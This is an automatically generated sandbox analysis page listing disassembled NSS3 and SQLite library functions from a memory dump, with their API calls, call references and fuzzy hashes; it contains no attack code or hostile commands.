sqlite3_value_blob.NSS3(?,?), ref: 6C647010
sqlite3_value_blob.NSS3(?,?), ref: 6C64701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6C647052

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: f9dfc056b62c07f78d7555f3e67fe5a187b7155ee1d2afe386c536923178abaf
Instruction ID: d556bf23be8ba49df7ef0af32603c3ee1d4f2bf46e4938304b9abc7337f5d69d
Opcode Fuzzy Hash: f9dfc056b62c07f78d7555f3e67fe5a187b7155ee1d2afe386c536923178abaf
Instruction Fuzzy Hash: 4B61E2B1E0520A8BDB40CF65C8007EEB7B2AF45308F28C165D855ABB51E732DC16CBA8

Function 6C6B8F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6C6B7313), ref: 6C6B8FBB

Part of subcall function 6C6B07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C658298,?,?,?,6C64FCE5,?), ref: 6C6B07BF
Part of subcall function 6C6B07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6B07E6
Part of subcall function 6C6B07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B081B
Part of subcall function 6C6B07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B0825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6C6B7313), ref: 6C6B9012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6C6B7313), ref: 6C6B903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6C6B7313), ref: 6C6B909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6C6B7313), ref: 6C6B90DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6C6B7313), ref: 6C6B90F1

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6C6B7313), ref: 6C6B906B

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6C6B7313), ref: 6C6B9128

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: 1118a76c51b2bf7d005021de871d9f0fcf22768da21067c2da13a14fda83640f
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: 9251C571B002029FEB10CF6ADC84B66B3F9AF5535CF154029D919E7B61EB31E824CB99

Function 6C669C50 Relevance: 12.1, APIs: 8, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 6C668850: calloc.MOZGLUE(00000001,00000028,00000000,?,?,6C670715), ref: 6C668859
Part of subcall function 6C668850: PR_NewLock.NSS3 ref: 6C668874
Part of subcall function 6C668850: PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6C66888D

PR_NewLock.NSS3 ref: 6C669CAD

Part of subcall function 6C7198D0: calloc.MOZGLUE(00000001,00000084,6C640936,00000001,?,6C64102C), ref: 6C7198E5

Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407AD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407CD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407D6
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5D204A), ref: 6C6407E4
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,6C5D204A), ref: 6C640864
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C640880
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,6C5D204A), ref: 6C6408CB
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408D7
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408FB

TlsGetValue.KERNEL32 ref: 6C669CE8
EnterCriticalSection.KERNEL32(?,?,6C66ECEC,6C672FCD,00000000,?,6C672FCD,?), ref: 6C669D01
TlsGetValue.KERNEL32(?,?,?,6C66ECEC,6C672FCD,00000000,?,6C672FCD,?), ref: 6C669D38
EnterCriticalSection.KERNEL32(?,?,6C66ECEC,6C672FCD,00000000,?,6C672FCD,?), ref: 6C669D4D
PR_Unlock.NSS3 ref: 6C669D70
PR_Unlock.NSS3 ref: 6C669DC3
PR_NewLock.NSS3 ref: 6C669DDD

Part of subcall function 6C6688D0: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C670725,00000000,00000058), ref: 6C668906
Part of subcall function 6C6688D0: EnterCriticalSection.KERNEL32(?), ref: 6C66891A
Part of subcall function 6C6688D0: PL_ArenaAllocate.NSS3(?,?), ref: 6C66894A
Part of subcall function 6C6688D0: calloc.MOZGLUE(00000001,6C67072D,00000000,00000000,00000000,?,6C670725,00000000,00000058), ref: 6C668959
Part of subcall function 6C6688D0: memset.VCRUNTIME140(?,00000000,?), ref: 6C668993
Part of subcall function 6C6688D0: PR_Unlock.NSS3(?), ref: 6C6689AF

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$calloc$CriticalEnterLockSectionUnlock$Arena$AllocateInitPoolmemset
String ID:
API String ID: 3394263606-0
Opcode ID: 16ffbc0eee022dd8d4f19984e61c664a825e7ccbb00e0224b299be9e0c7074e2
Instruction ID: 271d795eabe133716e4a3ebc560ee475c165bab5e11df6b6703635b577ec94e0
Opcode Fuzzy Hash: 16ffbc0eee022dd8d4f19984e61c664a825e7ccbb00e0224b299be9e0c7074e2
Instruction Fuzzy Hash: 4B512FB1A04B059FDB00EF6AC1846AABBF0BF45359F158579DC58DBB10DB30E844CB96

Function 6C769EA0 Relevance: 12.1, APIs: 8, Instructions: 136COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C769EC0
EnterCriticalSection.KERNEL32(?), ref: 6C769EF9
_PR_MD_UNLOCK.NSS3(?), ref: 6C769F73
EnterCriticalSection.KERNEL32(?), ref: 6C769FA5
_PR_MD_NOTIFY_CV.NSS3(-00000074), ref: 6C769FCF
_PR_MD_UNLOCK.NSS3(?), ref: 6C769FF2
_PR_MD_UNLOCK.NSS3(?), ref: 6C76A01D

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterSection
String ID:
API String ID: 1904992153-0
Opcode ID: 27715d48be9f4901838586b9dcfc896132b063bb0550e47053d1935e484af39d
Instruction ID: 61baa99fa17096382ba63133418b06fe56d12a166b076a6e473674de3ffa805a
Opcode Fuzzy Hash: 27715d48be9f4901838586b9dcfc896132b063bb0550e47053d1935e484af39d
Instruction Fuzzy Hash: 9451B0B2804600CBCB109F26D58868AB7F4FF64319F298669DC5957F12E731F886CB91

Function 6C65DCE0 Relevance: 12.1, APIs: 8, Instructions: 90stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C65DCFA

Part of subcall function 6C719DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C760A27), ref: 6C719DC6
Part of subcall function 6C719DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C760A27), ref: 6C719DD1
Part of subcall function 6C719DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C719DED

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C65DD40
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6C65DD62
CERT_DestroyCertificate.NSS3(?), ref: 6C65DD71
CERT_DestroyCertificate.NSS3(00000000), ref: 6C65DD81
CERT_RemoveCertListNode.NSS3(?), ref: 6C65DD8F

Part of subcall function 6C6706A0: TlsGetValue.KERNEL32 ref: 6C6706C2
Part of subcall function 6C6706A0: EnterCriticalSection.KERNEL32(?), ref: 6C6706D6
Part of subcall function 6C6706A0: PR_Unlock.NSS3 ref: 6C6706EB

CERT_DestroyCertificate.NSS3(?), ref: 6C65DD9E
CERT_DestroyCertificate.NSS3(?), ref: 6C65DDB7

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CertificateDestroy$Time$CertSystem$CriticalEnterFileFindIssuerListNodeRemoveSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strcmp
String ID:
API String ID: 653623313-0
Opcode ID: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction ID: 75308090a03ca7ff080c6872ac23569e8089fd4e6db1a8bfcab270df3e12f8c8
Opcode Fuzzy Hash: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction Fuzzy Hash: E521AEB6E011159BDB019EA4DD409DEB7B4AF05308B640120EC04A7751E731E925CBE9

Function 6C6E5F60 Relevance: 12.1, APIs: 8, Instructions: 64COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C6EAADB,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5F72

Part of subcall function 6C64ED70: DeleteCriticalSection.KERNEL32(?), ref: 6C64ED8F
Part of subcall function 6C64ED70: DeleteCriticalSection.KERNEL32(?), ref: 6C64ED9E
Part of subcall function 6C64ED70: DeleteCriticalSection.KERNEL32(?), ref: 6C64EDA4

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C6EAADB,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5F8F
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6C6EAADB,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5FCC
free.MOZGLUE(?,?,6C6EAADB,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5FD3
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6C6EAADB,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5FF4
free.MOZGLUE(?,?,6C6EAADB,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5FFB
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C6EAADB,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E6019
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C6EAADB,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E6036

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalDeleteSection$DestroyMonitor$free
String ID:
API String ID: 227462623-0
Opcode ID: 8b6ddf51654b6fcd89aceaec230d11715ddfb6fb7b2ead6a7c83e2a8ecc468d9
Instruction ID: 85b8e10f4464134d8304c148a1eeaba928fd1525a6f75363e819190abc4766dd
Opcode Fuzzy Hash: 8b6ddf51654b6fcd89aceaec230d11715ddfb6fb7b2ead6a7c83e2a8ecc468d9
Instruction Fuzzy Hash: 8E214DF1605B04ABEB10DFB5D808BD7B7E8AB45709F104829E46A87640EB36E018CB95

Function 6C653C90 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,6C6C460B,?,?), ref: 6C653CA9
EnterCriticalSection.KERNEL32(?), ref: 6C653CB9
PL_HashTableLookup.NSS3(?), ref: 6C653CC9
SECITEM_DupItem_Util.NSS3(00000000), ref: 6C653CD6
PR_Unlock.NSS3 ref: 6C653CE6
CERT_FindCertByDERCert.NSS3(?,00000000), ref: 6C653CF6
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C653D03
PR_Unlock.NSS3 ref: 6C653D15

Part of subcall function 6C6FDD70: TlsGetValue.KERNEL32 ref: 6C6FDD8C
Part of subcall function 6C6FDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CertCriticalItem_SectionUnlockUtilValue$EnterFindHashLeaveLookupTableZfree
String ID:
API String ID: 1376842649-0
Opcode ID: 5874ddfac48d1ff5d4ed32b419dd8fac6cda90ce9471892bdd86b74b58a39d1d
Instruction ID: 40711929105b53e86b35d31f1af212b21117df19df79e3feea97f50c1144fa1b
Opcode Fuzzy Hash: 5874ddfac48d1ff5d4ed32b419dd8fac6cda90ce9471892bdd86b74b58a39d1d
Instruction Fuzzy Hash: 2A112976E01505B7DB012A24EC458EA7AB9EB0365CB644230ED1883711FB22DD6887ED

Function 6C659C50 Relevance: 10.8, APIs: 7, Instructions: 253stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6711C0: PR_NewLock.NSS3 ref: 6C671216

free.MOZGLUE(?), ref: 6C659E17
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C659E25
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C659E4E
TlsGetValue.KERNEL32 ref: 6C659EA2

Part of subcall function 6C669500: memcpy.VCRUNTIME140(00000000,?,00000000,?,?), ref: 6C669546

EnterCriticalSection.KERNEL32(?), ref: 6C659EB6
PR_Unlock.NSS3 ref: 6C659ED9
PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C659F18

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: strlen$CriticalEnterErrorLockSectionUnlockValuefreememcpy
String ID:
API String ID: 3381623595-0
Opcode ID: f841b5232693abdeb704e6aef74167c4fcc339216670cb212d2d97bef4e8296e
Instruction ID: bf6fb96ee20f04ec27decf56e545c5e7866ffa2f4629c2568f9682be72745609
Opcode Fuzzy Hash: f841b5232693abdeb704e6aef74167c4fcc339216670cb212d2d97bef4e8296e
Instruction Fuzzy Hash: 2881D6B1A00601ABEB109F35DC40AAB77A5FF4534CF644529EC4987F41FB31E926C7AA

Function 6C66DCB0 Relevance: 10.7, APIs: 7, Instructions: 245stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C66AB10: DeleteCriticalSection.KERNEL32(D958E852,6C671397,5B5F5EC0,?,?,6C66B1EE,2404110F,?,?), ref: 6C66AB3C
Part of subcall function 6C66AB10: free.MOZGLUE(D958E836,?,6C66B1EE,2404110F,?,?), ref: 6C66AB49
Part of subcall function 6C66AB10: DeleteCriticalSection.KERNEL32(5D5E6C86), ref: 6C66AB5C
Part of subcall function 6C66AB10: free.MOZGLUE(5D5E6C7A), ref: 6C66AB63
Part of subcall function 6C66AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6C66AB6F
Part of subcall function 6C66AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6C66AB76

TlsGetValue.KERNEL32 ref: 6C66DCFA
EnterCriticalSection.KERNEL32(00000000), ref: 6C66DD0E
PK11_IsFriendly.NSS3(?), ref: 6C66DD73
PK11_IsLoggedIn.NSS3(?,00000000), ref: 6C66DD8B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C66DE81
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C66DEA6
PR_Unlock.NSS3(?), ref: 6C66DF08

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$Deletefree$K11_$EnterFriendlyLoggedUnlockValuememcpystrlen
String ID:
API String ID: 519503562-0
Opcode ID: e0c3c732dfdc5830ee9126956f7c12eb570eacb3ce067154c2a4ac9e71544151
Instruction ID: d00dbbd56c412867d588a8067fd6faf6469e31a6d258b9f87141ad6a6c9d8780
Opcode Fuzzy Hash: e0c3c732dfdc5830ee9126956f7c12eb570eacb3ce067154c2a4ac9e71544151
Instruction Fuzzy Hash: 2B91E7B5A001059FDB00CF6AD880BAAB7B1BF45308F254029DC199BF51E731E916CBDB

Function 6C625FC0 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000293F4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,6C70BB62,00000004,6C774CA4,?,?,00000000,?,?,6C5E31DB), ref: 6C6260AB
sqlite3_config.NSS3(00000004,6C774CA4,6C70BB62,00000004,6C774CA4,?,?,00000000,?,?,6C5E31DB), ref: 6C6260EB
sqlite3_config.NSS3(00000012,6C774CC4,?,?,6C70BB62,00000004,6C774CA4,?,?,00000000,?,?,6C5E31DB), ref: 6C626122

Strings

misuse, xrefs: 6C62609F
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C626095
%s at line %d of [%.10s], xrefs: 6C6260A4

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_config$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse
API String ID: 1634735548-648709467
Opcode ID: be90d4aa4045ccb1d0bd0780dd6ee616077f806407f93de0189e31b9e6241691
Instruction ID: 5360ceb3e9d9a8386c35ad17815fb830af36a3fda2fbb310bd86d8b28e21728c
Opcode Fuzzy Hash: be90d4aa4045ccb1d0bd0780dd6ee616077f806407f93de0189e31b9e6241691
Instruction Fuzzy Hash: 9BB19370E0464ACFDB05CF9DD2909AEB7F0FB1E304B158169D509AB322E730AA94DF95

Function 6C5D4F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5D4FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5D51BB

Strings

misuse, xrefs: 6C5D51AF
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5D51A5
unable to delete/modify user-function due to active statements, xrefs: 6C5D51DF
%s at line %d of [%.10s], xrefs: 6C5D51B4

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: 23aec3158eb36cd71a922ca6464db2d7ac32d2646da115e5aa56edf0d904808a
Instruction ID: af64a388a2ca5f424c4088241856b29a800d45edfbb198c0252b61ad341ef0ba
Opcode Fuzzy Hash: 23aec3158eb36cd71a922ca6464db2d7ac32d2646da115e5aa56edf0d904808a
Instruction Fuzzy Hash: 1C71ADB160430ADBEB00CF59CD80B9A77B9FB48308F4A4524ED199BB81D331F951CBA5

Function 6C6BFF10 Relevance: 10.7, APIs: 7, Instructions: 164memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400,?,?,00000000,00000000,?,6C6BF165,?), ref: 6C6BFF4B
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,00000000,00000000,?,6C6BF165,?), ref: 6C6BFF6F
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6C6BF165,?), ref: 6C6BFF81
